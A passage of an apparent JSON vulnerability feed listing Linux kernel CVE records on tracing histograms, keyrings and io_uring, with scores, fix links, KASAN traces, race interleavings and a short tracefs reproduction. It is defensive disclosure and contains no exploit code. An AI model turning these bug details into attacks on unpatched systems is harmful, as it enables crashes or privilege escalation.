security concern for machines that trust perf a bit too\nmuch.","published_time":"2026-11-02T16:06:39","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/e33e2718c62a602001ab549642a1aed0be797105","https://git.kernel.org/stable/c/041d1a568a11a7ed7415ef1408d0c65041c1ad69","https://git.kernel.org/stable/c/097fd0050089df17b032f2b852b9b65e548e342a"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99233","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/histograms: Verify event_call identity when updating synth_event refcount\n\nIn event_hist_trigger_parse() and hist_unreg_all(), the histogram\nregistration and unregistration paths look up find_synth_event() using\ntrace_event_name(file->event_call) and adjust se->ref if a match is\nfound.\n\nBecause find_synth_event() only compares the event basename, registering\nor removing a histogram on a non-synthetic trace event whose basename\nmatches a synthetic event erroneously modifies the synthetic event's\nreference count.  If a histogram is registered on the non-synthetic\nevent before the synthetic event is created and removed afterwards,\nse->ref is decremented without a matching increment, allowing the\nsynthetic event to be freed while an active histogram action still holds\na pointer to it.\n\nIntroduce find_synth_event_call() to verify that &se->call matches\nfile->event_call before adjusting se->ref.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01882,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/06e816bed499fe47f39f12044382cc5d064485fb","https://git.kernel.org/stable/c/23b4106e8b35823acc79e206c7745f55b9cfd78b","https://git.kernel.org/stable/c/3403d9bb27ebc3572bd048620746b4414e073bf9","https://git.kernel.org/stable/c/381f543ed35c434d5b707369aa5dcd69ecf440af","https://git.kernel.org/stable/c/4472579bd1c83708b6fe623c870cdf728e947205","https://git.kernel.org/stable/c/5597bb8db6855fcb97a67196d227fea359bcd81c","https://git.kernel.org/stable/c/cf4e31d5da80fae4c9cdbe7af55b7c3ad213f0e4"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:48","euvd":{"id":"EUVD-2026-115275","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/histograms: Verify event_call identity when updating synth_event refcount\n\nIn event_hist_trigger_parse() and hist_unreg_all(), the histogram\nregistration and unregistration paths look up find_synth_event() using\ntrace_event_name(file->event_call) and adjust se->ref if a match is\nfound.\n\nBecause find_synth_event() only compares the event basename, registering\nor removing a histogram on a non-synthetic trace event whose basename\nmatches a synthetic event erroneously modifies the synthetic event's\nreference count.  If a histogram is registered on the non-synthetic\nevent before the synthetic event is created and removed afterwards,\nse->ref is decremented without a matching increment, allowing the\nsynthetic event to be freed while an active histogram action still holds\na pointer to it.\n\nIntroduce find_synth_event_call() to verify that &se->call matches\nfile->event_call before adjusting se->ref.","published_time":"2026-11-02T16:06:40","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/381f543ed35c434d5b707369aa5dcd69ecf440af","https://git.kernel.org/stable/c/4472579bd1c83708b6fe623c870cdf728e947205","https://git.kernel.org/stable/c/23b4106e8b35823acc79e206c7745f55b9cfd78b","https://git.kernel.org/stable/c/06e816bed499fe47f39f12044382cc5d064485fb","https://git.kernel.org/stable/c/5597bb8db6855fcb97a67196d227fea359bcd81c","https://git.kernel.org/stable/c/cf4e31d5da80fae4c9cdbe7af55b7c3ad213f0e4","https://git.kernel.org/stable/c/3403d9bb27ebc3572bd048620746b4414e073bf9"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99234","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Unregister field variable histograms when the command fails\n\nAn action that names a field on another event needs that field as a\nvariable, so create_field_var_hist() registers a second hist trigger on\nthat event to provide it, and records it in\ntarget_hist_data->field_var_hists[].\n\nIf a later part of the same command fails, create_actions() returns an\nerror and event_hist_trigger_parse() jumps to out_free. The write fails\nwith -EINVAL and sched_switch gets no trigger, but:\n\n  # echo 'hist:keys=pid:ts0=common_timestamp.usecs' >> \\\n      events/sched/sched_waking/trigger\n  # echo 'my_synth u64 lat; int a; int b' >> synthetic_events\n  # echo 'hist:keys=next_pid:wakeup_lat=common_timestamp.usecs-$ts0:\\\n      onmatch(sched.sched_waking).my_synth($wakeup_lat,prio,nosuchfld)'\\\n      >> events/sched/sched_switch/trigger\n  # cat events/sched/sched_waking/trigger\n  hist:keys=pid:vals=hitcount:ts0=common_timestamp.usecs:sort=hitcount:size=2048:clock=global [active]\n  hist:keys=pid:vals=hitcount:synthetic_prio=prio:sort=hitcount:size=2048 [active]\n\nThe second histogram is the one created for 'prio'. It is still active and\nstill counting.\n\nout_free reaches destroy_field_var_hists(), which frees the\nfield_var_hists[] entries, but never unregister_field_var_hists(), which is\nwhat removes the triggers and runs only from event_hist_trigger_free(). The\nentry is freed and the trigger is left with nothing tracking it.\n\nUnregister the field variable histograms in out_free as well, and record\neach one as soon as its trigger is registered rather than after the lookup\nthat follows it, so no exit can leave a registered trigger untracked. The\nentry then belongs to field_var_hists[] and is released by\ndestroy_field_var_hists(), so freeing it on that exit would be a double\nfree.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00165,"ranking_epss":0.05735,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/431959fc76456cbba539279fe8967aa9391e6f23","https://git.kernel.org/stable/c/5afb9317e2eeb1c7021a82995ce244fda5a4bd4f","https://git.kernel.org/stable/c/8482ec5b65f606d5bbcec518e0afc69ad65ca414","https://git.kernel.org/stable/c/91c14d6c13096091c56304120aaa26e479130b8b","https://git.kernel.org/stable/c/a3d7ffd2409700748a495b645948fef48199206e","https://git.kernel.org/stable/c/aae0ccd7326eef78dcdefffef3d1253e6f0615ca","https://git.kernel.org/stable/c/d0090baf02dd08f6e909f36f0ad54a4e80f5e79b","https://git.kernel.org/stable/c/dba0f492703956801149cc70b39d2650a37995c3","https://git.kernel.org/stable/c/f21351d1c4cdcc6a68f03636a407c2af1a5e1e10"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:48","euvd":{"id":"EUVD-2026-115276","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Unregister field variable histograms when the command fails\n\nAn action that names a field on another event needs that field as a\nvariable, so create_field_var_hist() registers a second hist trigger on\nthat event to provide it, and records it in\ntarget_hist_data->field_var_hists[].\n\nIf a later part of the same command fails, create_actions() returns an\nerror and event_hist_trigger_parse() jumps to out_free. The write fails\nwith -EINVAL and sched_switch gets no trigger, but:\n\n  # echo 'hist:keys=pid:ts0=common_timestamp.usecs' >> \\\n      events/sched/sched_waking/trigger\n  # echo 'my_synth u64 lat; int a; int b' >> synthetic_events\n  # echo 'hist:keys=next_pid:wakeup_lat=common_timestamp.usecs-$ts0:\\\n      onmatch(sched.sched_waking).my_synth($wakeup_lat,prio,nosuchfld)'\\\n      >> events/sched/sched_switch/trigger\n  # cat events/sched/sched_waking/trigger\n  hist:keys=pid:vals=hitcount:ts0=common_timestamp.usecs:sort=hitcount:size=2048:clock=global [active]\n  hist:keys=pid:vals=hitcount:synthetic_prio=prio:sort=hitcount:size=2048 [active]\n\nThe second histogram is the one created for 'prio'. It is still active and\nstill counting.\n\nout_free reaches destroy_field_var_hists(), which frees the\nfield_var_hists[] entries, but never unregister_field_var_hists(), which is\nwhat removes the triggers and runs only from event_hist_trigger_free(). The\nentry is freed and the trigger is left with nothing tracking it.\n\nUnregister the field variable histograms in out_free as well, and record\neach one as soon as its trigger is registered rather than after the lookup\nthat follows it, so no exit can leave a registered trigger untracked. The\nentry then belongs to field_var_hists[] and is released by\ndestroy_field_var_hists(), so freeing it on that exit would be a double\nfree.","published_time":"2026-11-02T16:06:41","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/f21351d1c4cdcc6a68f03636a407c2af1a5e1e10","https://git.kernel.org/stable/c/dba0f492703956801149cc70b39d2650a37995c3","https://git.kernel.org/stable/c/a3d7ffd2409700748a495b645948fef48199206e","https://git.kernel.org/stable/c/aae0ccd7326eef78dcdefffef3d1253e6f0615ca","https://git.kernel.org/stable/c/8482ec5b65f606d5bbcec518e0afc69ad65ca414","https://git.kernel.org/stable/c/431959fc76456cbba539279fe8967aa9391e6f23","https://git.kernel.org/stable/c/5afb9317e2eeb1c7021a82995ce244fda5a4bd4f","https://git.kernel.org/stable/c/d0090baf02dd08f6e909f36f0ad54a4e80f5e79b","https://git.kernel.org/stable/c/91c14d6c13096091c56304120aaa26e479130b8b"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99235","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Save the event file instead of the compatible histogram\n\ncreate_field_var_hist() creates a histogram on the matched event to\nsupply a field variable, and records it on the target so it can be torn\ndown later:\n\n\thist_data = find_compatible_hist(target_hist_data, file);\n\t...\n\t/* Save the compatible histogram information */\n\tvar_hist->hist_data = hist_data;\n\nhist_data is not the histogram it creates. It is one that was already\nthere, whose keys the new one copies. The saved pointer has a single\nuser, unregister_field_var_hists(), which runs when the target is\nremoved:\n\n\tfile = hist_data->field_var_hists[i]->hist_data->event_file;\n\nfind_compatible_hist() matches on keys alone, so it can pick one with no\nvariables of its own. check_var_refs() then returns false and the user\ncan remove it while the target still points at it:\n\n BUG: KASAN: slab-use-after-free in event_hist_trigger_free+0x2b2/0x320\n Read of size 8 at addr ffff8880093b90e0 by task init/1\n\n Freed by task 1:\n  kfree+0x154/0x420\n  event_hist_trigger_free+0x1d5/0x320\n  event_hist_trigger_parse+0x35f3/0x69e0\n  trigger_process_regex+0x1a6/0x250\n\nSave the event file instead. It is all the dereference ever wanted, and\nit does not go away when the user removes a trigger.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.00117,"ranking_epss":0.01682,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/173914501b97236d7ea7dc2af7f30feddd4e1436","https://git.kernel.org/stable/c/3609ada3c12cecfb0ae5ee82ef4f86c5f18a2dea","https://git.kernel.org/stable/c/7a111ba0d1b74c99bc8f096565dc71945f694254","https://git.kernel.org/stable/c/7cafc82e6153f05a221be678cd649d02e06ba909","https://git.kernel.org/stable/c/8b307d64a60548e4a74cb746f74d7ed4bd49965e","https://git.kernel.org/stable/c/9631dbccd3c649b567a5aafffea6b00634183997","https://git.kernel.org/stable/c/a6165126b1a1b26342b55be6eb6ee23af8756aba","https://git.kernel.org/stable/c/ac815a379644b2ad5008a009a3516ada31b5dd82","https://git.kernel.org/stable/c/d5c42664fc094899af9aae5300b27fe8fdb658ef"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:48","euvd":{"id":"EUVD-2026-115277","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Save the event file instead of the compatible histogram\n\ncreate_field_var_hist() creates a histogram on the matched event to\nsupply a field variable, and records it on the target so it can be torn\ndown later:\n\n\thist_data = find_compatible_hist(target_hist_data, file);\n\t...\n\t/* Save the compatible histogram information */\n\tvar_hist->hist_data = hist_data;\n\nhist_data is not the histogram it creates. It is one that was already\nthere, whose keys the new one copies. The saved pointer has a single\nuser, unregister_field_var_hists(), which runs when the target is\nremoved:\n\n\tfile = hist_data->field_var_hists[i]->hist_data->event_file;\n\nfind_compatible_hist() matches on keys alone, so it can pick one with no\nvariables of its own. check_var_refs() then returns false and the user\ncan remove it while the target still points at it:\n\n BUG: KASAN: slab-use-after-free in event_hist_trigger_free+0x2b2/0x320\n Read of size 8 at addr ffff8880093b90e0 by task init/1\n\n Freed by task 1:\n  kfree+0x154/0x420\n  event_hist_trigger_free+0x1d5/0x320\n  event_hist_trigger_parse+0x35f3/0x69e0\n  trigger_process_regex+0x1a6/0x250\n\nSave the event file instead. It is all the dereference ever wanted, and\nit does not go away when the user removes a trigger.","published_time":"2026-11-02T16:06:41","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/a6165126b1a1b26342b55be6eb6ee23af8756aba","https://git.kernel.org/stable/c/173914501b97236d7ea7dc2af7f30feddd4e1436","https://git.kernel.org/stable/c/ac815a379644b2ad5008a009a3516ada31b5dd82","https://git.kernel.org/stable/c/8b307d64a60548e4a74cb746f74d7ed4bd49965e","https://git.kernel.org/stable/c/7a111ba0d1b74c99bc8f096565dc71945f694254","https://git.kernel.org/stable/c/3609ada3c12cecfb0ae5ee82ef4f86c5f18a2dea","https://git.kernel.org/stable/c/9631dbccd3c649b567a5aafffea6b00634183997","https://git.kernel.org/stable/c/7cafc82e6153f05a221be678cd649d02e06ba909","https://git.kernel.org/stable/c/d5c42664fc094899af9aae5300b27fe8fdb658ef"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99225","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys: Check the authorization payload in process keyring searches\n\nAn authorization payload and its saved credentials must remain valid\nwhile search_process_keyrings_rcu() searches the requestor's keyrings.\nThe function validates the authorization key, then separately loads\npayload.data[0] and unconditionally reads rka->cred. Validation does\nnot prevent request_key_auth_revoke() from clearing the payload.\n\nA request-key helper can assume authority and fork a descendant that\ninherits the authorization key. If the descendant misses in its own\nkeyrings, it falls back to the saved requestor credentials. Successful\ntarget instantiation invalidates the authorization key without clearing\nthe payload. After the helper exits, UMH_WAIT_PROC returns to the\nrequester, which calls complete_request_key() and revokes that key.\n\nWith the descendant paused after validation, the paths can interleave\nas follows:\n\n  1. The descendant enters search_process_keyrings_rcu() under RCU and\n     key_validate() succeeds.\n  2. The helper instantiates the target, invalidates the authorization\n     key, and exits.\n  3. The requester resumes from UMH_WAIT_PROC, calls\n     complete_request_key(), and revokes the authorization key.\n     request_key_auth_revoke() sets its payload pointer to NULL.\n  4. The descendant loads NULL and dereferences rka->cred.\n\nThis NULL dereference can oops the kernel. RCU delays payload disposal\nbut does not prevent the pointer from being cleared.\n\nLoad the payload with dereference_key_rcu() and require a non-NULL\nresult before validating the authorization key and searching its saved\ncredentials. A non-NULL payload and its credentials remain alive for\nthe caller's RCU read-side section; a cleared payload skips the fallback\nsearch and follows the existing error selection.\n\nKASAN report as below:\n\n    Oops: general protection fault, probably for non-canonical address 0xdffffc0000000005: 0000 [#1] SMP KASAN NOPTI\n    KASAN: null-ptr-deref in range [0x0000000000000028-0x000000000000002f]\n    RIP: 0010:search_process_keyrings_rcu+0x32b/0x790","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00165,"ranking_epss":0.05735,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/0a0ec45bf577a9b4d4960567f20d3877ef480de9","https://git.kernel.org/stable/c/14fb6fad526b35a7ebd121f1dd313abe652e0aa6","https://git.kernel.org/stable/c/26949c2e4c461e9e620e935bc22717f36a40b615","https://git.kernel.org/stable/c/458cf9715af6aff3ac8d2ec60bd59e9d6236fd0f","https://git.kernel.org/stable/c/49f4e768540d25d8852ef750313afda6a4774871","https://git.kernel.org/stable/c/7d3d2fffe933e538472ccafe5bbc7109488b9ce3","https://git.kernel.org/stable/c/984a178d54515779a1bee100b92a6cee8777c830","https://git.kernel.org/stable/c/b4dfda438fee3c6faa15d9b421c373de6a0e476f","https://git.kernel.org/stable/c/b86db7993051d05810601654e886a1e78e1fa495"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:47","euvd":{"id":"EUVD-2026-115267","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys: Check the authorization payload in process keyring searches\n\nAn authorization payload and its saved credentials must remain valid\nwhile search_process_keyrings_rcu() searches the requestor's keyrings.\nThe function validates the authorization key, then separately loads\npayload.data[0] and unconditionally reads rka->cred. Validation does\nnot prevent request_key_auth_revoke() from clearing the payload.\n\nA request-key helper can assume authority and fork a descendant that\ninherits the authorization key. If the descendant misses in its own\nkeyrings, it falls back to the saved requestor credentials. Successful\ntarget instantiation invalidates the authorization key without clearing\nthe payload. After the helper exits, UMH_WAIT_PROC returns to the\nrequester, which calls complete_request_key() and revokes that key.\n\nWith the descendant paused after validation, the paths can interleave\nas follows:\n\n  1. The descendant enters search_process_keyrings_rcu() under RCU and\n     key_validate() succeeds.\n  2. The helper instantiates the target, invalidates the authorization\n     key, and exits.\n  3. The requester resumes from UMH_WAIT_PROC, calls\n     complete_request_key(), and revokes the authorization key.\n     request_key_auth_revoke() sets its payload pointer to NULL.\n  4. The descendant loads NULL and dereferences rka->cred.\n\nThis NULL dereference can oops the kernel. RCU delays payload disposal\nbut does not prevent the pointer from being cleared.\n\nLoad the payload with dereference_key_rcu() and require a non-NULL\nresult before validating the authorization key and searching its saved\ncredentials. A non-NULL payload and its credentials remain alive for\nthe caller's RCU read-side section; a cleared payload skips the fallback\nsearch and follows the existing error selection.\n\nKASAN report as below:\n\n    Oops: general protection fault, probably for non-canonical address 0xdffffc0000000005: 0000 [#1] SMP KASAN NOPTI\n    KASAN: null-ptr-deref in range [0x0000000000000028-0x000000000000002f]\n    RIP: 0010:search_process_keyrings_rcu+0x32b/0x790","published_time":"2026-11-02T16:06:34","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/14fb6fad526b35a7ebd121f1dd313abe652e0aa6","https://git.kernel.org/stable/c/458cf9715af6aff3ac8d2ec60bd59e9d6236fd0f","https://git.kernel.org/stable/c/7d3d2fffe933e538472ccafe5bbc7109488b9ce3","https://git.kernel.org/stable/c/26949c2e4c461e9e620e935bc22717f36a40b615","https://git.kernel.org/stable/c/984a178d54515779a1bee100b92a6cee8777c830","https://git.kernel.org/stable/c/b86db7993051d05810601654e886a1e78e1fa495","https://git.kernel.org/stable/c/b4dfda438fee3c6faa15d9b421c373de6a0e476f","https://git.kernel.org/stable/c/49f4e768540d25d8852ef750313afda6a4774871","https://git.kernel.org/stable/c/0a0ec45bf577a9b4d4960567f20d3877ef480de9"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99226","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys: Avoid the owner account dereference in named keyring lookup\n\nNamed keyring lookup must keep the storage containing the owner UID\nalive through the namespace mapping check.  find_keyring_by_name()\nreads keyring->user->uid under keyring_name_lock, but that lock protects\nthe keyring's name entry and allocation, not its separate key_user.\n\nA named session-keyring join can overlap a privileged KEYCTL_CHOWN on\nanother CPU.  If the keyring holds the last reference to its old dynamic\nkey_user and the ownership transfer succeeds, the following ordering is\npossible:\n\n    Named join                         Chown\n    find_keyring_by_name()              keyctl_chown_key()\n      read_lock(keyring_name_lock)       down_write(key->sem)\n      load old keyring->user\n                                         replace key->user and key->uid\n                                         up_write(key->sem)\n                                         key_put(key)\n                                         key_user_put(old user): free\n      read old user->uid\n      read_unlock(keyring_name_lock)\n\nChown neither takes keyring_name_lock nor key_session_mutex, so it can\nfree the old account between the pointer load and the UID read.  The\nlookup then reads freed memory even though the keyring itself is alive.\n\nUse keyring->uid for the mapping check.  key_alloc() initializes this\ninline owner UID and keyctl_chown_key() updates it on chown.\nThe existing name lock keeps its containing keyring allocated throughout\nthe check, so lookup no longer depends on the account's lifetime.  This\nalso matches the owner UID used by the permission check.\n\nKASAN report as below:\n\n    BUG: KASAN: slab-use-after-free in find_keyring_by_name+0x577/0x5d0\n    Read of size 4 at addr ffff8881128ae2ec by task keycase/500","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00165,"ranking_epss":0.05735,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/0b865fa477d94ac96c26848aab1fd176397de3f6","https://git.kernel.org/stable/c/40b12b93ae4ab9e22c3d571e9b09fd08afad53f6","https://git.kernel.org/stable/c/51409aaa01f8602552c336009fd22b226b0cdf1d","https://git.kernel.org/stable/c/5c6a9512887a6cc694d594d9c0b57c0841d215b5","https://git.kernel.org/stable/c/6763329f673d261641c79212abf773af77b2c922","https://git.kernel.org/stable/c/77249d4b1bb5ad43552b7023c4a0978937aa7a56","https://git.kernel.org/stable/c/aa03c8fb4334f14d218020f7431debf2b7766865","https://git.kernel.org/stable/c/b0830a26e2c3008a6e21863126b4a0e68b2761cd","https://git.kernel.org/stable/c/c9664f780f861dd9f11f120c7a03ed0993671ebb"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:47","euvd":{"id":"EUVD-2026-115268","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nkeys: Avoid the owner account dereference in named keyring lookup\n\nNamed keyring lookup must keep the storage containing the owner UID\nalive through the namespace mapping check.  find_keyring_by_name()\nreads keyring->user->uid under keyring_name_lock, but that lock protects\nthe keyring's name entry and allocation, not its separate key_user.\n\nA named session-keyring join can overlap a privileged KEYCTL_CHOWN on\nanother CPU.  If the keyring holds the last reference to its old dynamic\nkey_user and the ownership transfer succeeds, the following ordering is\npossible:\n\n    Named join                         Chown\n    find_keyring_by_name()              keyctl_chown_key()\n      read_lock(keyring_name_lock)       down_write(key->sem)\n      load old keyring->user\n                                         replace key->user and key->uid\n                                         up_write(key->sem)\n                                         key_put(key)\n                                         key_user_put(old user): free\n      read old user->uid\n      read_unlock(keyring_name_lock)\n\nChown neither takes keyring_name_lock nor key_session_mutex, so it can\nfree the old account between the pointer load and the UID read.  The\nlookup then reads freed memory even though the keyring itself is alive.\n\nUse keyring->uid for the mapping check.  key_alloc() initializes this\ninline owner UID and keyctl_chown_key() updates it on chown.\nThe existing name lock keeps its containing keyring allocated throughout\nthe check, so lookup no longer depends on the account's lifetime.  This\nalso matches the owner UID used by the permission check.\n\nKASAN report as below:\n\n    BUG: KASAN: slab-use-after-free in find_keyring_by_name+0x577/0x5d0\n    Read of size 4 at addr ffff8881128ae2ec by task keycase/500","published_time":"2026-11-02T16:06:35","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/77249d4b1bb5ad43552b7023c4a0978937aa7a56","https://git.kernel.org/stable/c/0b865fa477d94ac96c26848aab1fd176397de3f6","https://git.kernel.org/stable/c/6763329f673d261641c79212abf773af77b2c922","https://git.kernel.org/stable/c/aa03c8fb4334f14d218020f7431debf2b7766865","https://git.kernel.org/stable/c/c9664f780f861dd9f11f120c7a03ed0993671ebb","https://git.kernel.org/stable/c/b0830a26e2c3008a6e21863126b4a0e68b2761cd","https://git.kernel.org/stable/c/5c6a9512887a6cc694d594d9c0b57c0841d215b5","https://git.kernel.org/stable/c/40b12b93ae4ab9e22c3d571e9b09fd08afad53f6","https://git.kernel.org/stable/c/51409aaa01f8602552c336009fd22b226b0cdf1d"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99227","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/waitid: prevent cancel reference wrap\n\nio_waitid packs the cancellation state into bit 31 of ->refs and uses\nbits 30:0 as a 31-bit reference counter:\n\n  #define IO_WAITID_CANCEL_FLAG BIT(31)\n  #define IO_WAITID_REF_MASK    GENMASK(30, 0)\n\n__io_waitid_cancel() marks a request canceled, then increments the low\nbits of ->refs to claim completion ownership. When another path owns the\nrequest, the increment remains even though cancellation returns false.\nThe request remains discoverable by cancellation, so repeated failed\nattempts can wrap the 31-bit reference field to zero. A later\ncancellation can claim ownership and complete the request a second time.\n\nUse atomic_fetch_or() when setting the cancel flag and inspect the old\nflag value. The first cancel attempt continues to the existing ownership\nincrement, preserving its wake and issuer handoff semantics. Later\nattempts see the cancel flag and return without incrementing the\nreference field.\n\nThis makes repeated failed cancellation attempts idempotent while\nleaving the first-cancel state transitions unchanged.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.0012,"ranking_epss":0.01842,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/20b67288574c7c3df6b8ea7ed3b7af90a868006f","https://git.kernel.org/stable/c/22fb4a4518e305164c7f203608287564de292f34","https://git.kernel.org/stable/c/5bfeee1774791602a0d53eb717f00f172127a017","https://git.kernel.org/stable/c/857aa2012b91cad6fdef54a4b6c632d9d0b6e64f","https://git.kernel.org/stable/c/98787d3fa4e99564d2b2bc21255b21f670c450d0"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:47","euvd":{"id":"EUVD-2026-115269","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/waitid: prevent cancel reference wrap\n\nio_waitid packs the cancellation state into bit 31 of ->refs and uses\nbits 30:0 as a 31-bit reference counter:\n\n  #define IO_WAITID_CANCEL_FLAG BIT(31)\n  #define IO_WAITID_REF_MASK    GENMASK(30, 0)\n\n__io_waitid_cancel() marks a request canceled, then increments the low\nbits of ->refs to claim completion ownership. When another path owns the\nrequest, the increment remains even though cancellation returns false.\nThe request remains discoverable by cancellation, so repeated failed\nattempts can wrap the 31-bit reference field to zero. A later\ncancellation can claim ownership and complete the request a second time.\n\nUse atomic_fetch_or() when setting the cancel flag and inspect the old\nflag value. The first cancel attempt continues to the existing ownership\nincrement, preserving its wake and issuer handoff semantics. Later\nattempts see the cancel flag and return without incrementing the\nreference field.\n\nThis makes repeated failed cancellation attempts idempotent while\nleaving the first-cancel state transitions unchanged.","published_time":"2026-11-02T16:06:36","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/20b67288574c7c3df6b8ea7ed3b7af90a868006f","https://git.kernel.org/stable/c/5bfeee1774791602a0d53eb717f00f172127a017","https://git.kernel.org/stable/c/857aa2012b91cad6fdef54a4b6c632d9d0b6e64f","https://git.kernel.org/stable/c/22fb4a4518e305164c7f203608287564de292f34","https://git.kernel.org/stable/c/98787d3fa4e99564d2b2bc21255b21f670c450d0"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99228","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/io-wq: don't lose the signal that ends work\n\nWhen a thread exits, only its tracked requests are cancelled. Then its\nio-wq is torn down. io_wq_exit_workers() signals every worker, to get it\nout of an interruptible sleep, and waits for all of them to exit. Before\nthey do, they go through the work that is left. Unbounded work is\ncancelled. Bounded work is run, as it is expected to end by itself.\n\nNot all of it does. An open has no file yet, so it counts as bounded, and\nthe open of a FIFO waits for the other end. That is what the signal is for.\nBut the workers are signalled once, and a worker that hasn't started the\nwork by then loses the signal:\n\n  io_wq_exit_workers()               io_worker_handle_work()\n    io_wq_worker_wake()\n      set TIF_NOTIFY_SIGNAL\n                                       io_assign_current_work()\n                                         io_run_task_work()\n                                           clear TIF_NOTIFY_SIGNAL\n                                       io_wq_submit_work()\n                                         fifo_open()\n                                           wait_for_partner()\n    wait_for_completion_timeout()\n\nThe thread never gets out of do_exit():\n\n  IORING_OP_OPENAT of a FIFO without a writer, IOSQE_ASYNC\n  exit of the thread that has submitted it\n\nhangs in more than 9 of 10 attempts (4 CPUs, KVM), until the process is\nkilled.\n\nSet TIF_NOTIFY_SIGNAL for bounded work that is started with IO_WQ_BIT_EXIT\nset. The bit is set before the workers are signalled, and it is tested\nafter the flag has been cleared, with clear_notify_signal() providing the\nbarrier. So either the flag stays, or the bit is seen.\n\nWork that is started while the io-wq exits is treated like work that is\nbeing run at that time: it isn't interrupted unless it waits\ninterruptibly.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00157,"ranking_epss":0.04835,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/08c42055b8f9a5d29236d34ad4bce08828239fe1","https://git.kernel.org/stable/c/62996803c1b5f18176de255db4c843021f2d19c8","https://git.kernel.org/stable/c/63c103279a95e82280092f2f4232e91e8117a252","https://git.kernel.org/stable/c/7309fea05a3d66af9746843c43fef14c10b8141e","https://git.kernel.org/stable/c/ddccc60f036b309430cf130d48aafed94ef7355a","https://git.kernel.org/stable/c/fdb771015c1e13677b57a4015f0c938748f13781"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T16:17:47","euvd":{"id":"EUVD-2026-115270","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/io-wq: don't lose the signal that ends work\n\nWhen a thread exits, only its tracked requests are cancelled. Then its\nio-wq is torn down. io_wq_exit_workers() signals every worker, to get it\nout of an interruptible sleep, and waits for all of them to exit. Before\nthey do, they go through the work that is left. Unbounded work is\ncancelled. Bounded work is run, as it is expected to end by itself.\n\nNot all of it does. An open has no file yet, so it counts as bounded, and\nthe open of a FIFO waits for the other end. That is what the signal is for.\nBut the workers are signalled once, and a worker that hasn't started the\nwork by 